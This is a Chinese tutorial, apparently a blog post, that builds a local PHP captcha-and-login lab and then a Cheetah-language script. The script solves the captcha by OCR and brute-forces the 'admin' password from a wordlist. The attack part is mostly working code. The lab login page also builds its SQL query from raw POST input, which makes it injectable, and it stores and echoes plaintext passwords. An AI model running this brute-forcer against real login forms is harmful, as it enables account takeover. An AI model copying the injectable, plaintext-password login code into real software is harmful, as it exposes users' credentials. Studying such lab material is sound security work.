【Cheetah语言】Cheetah语言编写验证码识别爆破脚本

<?php//向浏览器输出图片头信息header('Content-type:image/jpeg');$width=120;$height=40;$string='';//定义变量保存字体，这个一定不能省，不然回报警告$img=imagecreatetruecolor($width, $height);//imagecreatetruecolor函数建一个真彩色图像$arr=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9');//生成彩色像素    $colorBg=imagecolorallocate($img,rand(200,255),rand(200,255),rand(200,255));//背景     imagecolorallocate函数为一幅图像分配颜色//填充函数，xy确定坐标，color颜色执行区域填充颜色imagefill($img, 0, 0, $colorBg);for($i=0;$i<4;$i++){  $string.=$arr[rand(0,count($arr)-1)];}session_start();$_SESSION["captcha"]=$string;$colorString=imagecolorallocate($img,rand(10,100),rand(10,100),rand(10,100));//文本//2种插入字符串字体的方式//imgettftext($img,字体大小（数字）,角度（数字）,rand(5,15),rand(30,35),$colorString,'字体样式的路径',$string);imagestring($img,5,rand(0,$width-36),rand(0,$height-15),$string,$colorString);//输出图片到浏览器imagejpeg($img);imagedestroy($img);?>

<?php @$a = $_POST["n"];@$c = $_POST["p"];@$yzm = $_POST["yzm"];if(isset($a) && isset($c) && isset($yzm)) {session_start();if(!isset($_SESSION["captcha"])){  echo "captcha error";exit();}if($_SESSION["captcha"]!=$yzm){  echo 'wrong captcha';  exit();}$b = mysql_connect("127.0.0.1",'xxx','xxx');mysql_select_db('fanke',$b);$sql = "select * from user where username='$a' and password='$c'";//echo $sql;$result = mysql_query($sql);if(!$result){  die(mysql_error());}if($row = mysql_fetch_array($result)){  echo "success<br>";  echo "ID:".$row['id']."<br >";  echo "Ming:".$row['username']."<br >";  echo "mima:".$row['password']."<br >";}else{  echo "error password";}mysql_close($b);}else{?><form action="testyzm.php" method="POST">name<input name="n" type="text" /><br><br>pass<input name="p" type="text" /><br><br>captcha<input name="yzm" type="text" /><br><br><img src="captcha.php" onclick="this.src='captcha.php'" title=change"/><input type="submit" value="tijiao" /> </form><?php }?>

function GetPhpSession(header){  return GettextMiddle(header,"PHPSESSID=",";");}function GetCaptcha(path){  return GetPhpSession(DownLoadImg("http://127.0.0.1:8080/captcha.php",path));}

function JudgeSuccess(username,password){ session = GetCaptcha("b.jpg"); captcha = ImgIdVC("b.jpg"); res = HttpPost("http://127.0.0.1:8080/testyzm.php","n=".username."&p=".password."&yzm=".captcha,"Cookie: PHPSESSID=".session); if(StrFindStr(res[0],"wrong",0) != "-1"){ print("验证码错误:".captcha); return 1;//验证码错误 } if(StrFindStr(res[0],"error",0) != "-1"){ print("密码错误:"."用户名:".username." 密码:".password." 验证码:".captcha); return 2;//密码错误 } if(StrFindStr(res[0],"success",0) != "-1"){ print("爆破成功,用户名:".username." 密码:".password); return 3;//账号密码正确 } }

function main(args) { username = "admin"; passList = StrSplit(ReadFile("password.txt"),StrRN()); num = GetArrayNum(passList); i = 0; while(i<num){ res = JudgeSuccess(username,passList[ToInt(i)]); if(res == 2){i = i+1;} if(res == 3){break;} } print("爆破完毕"); }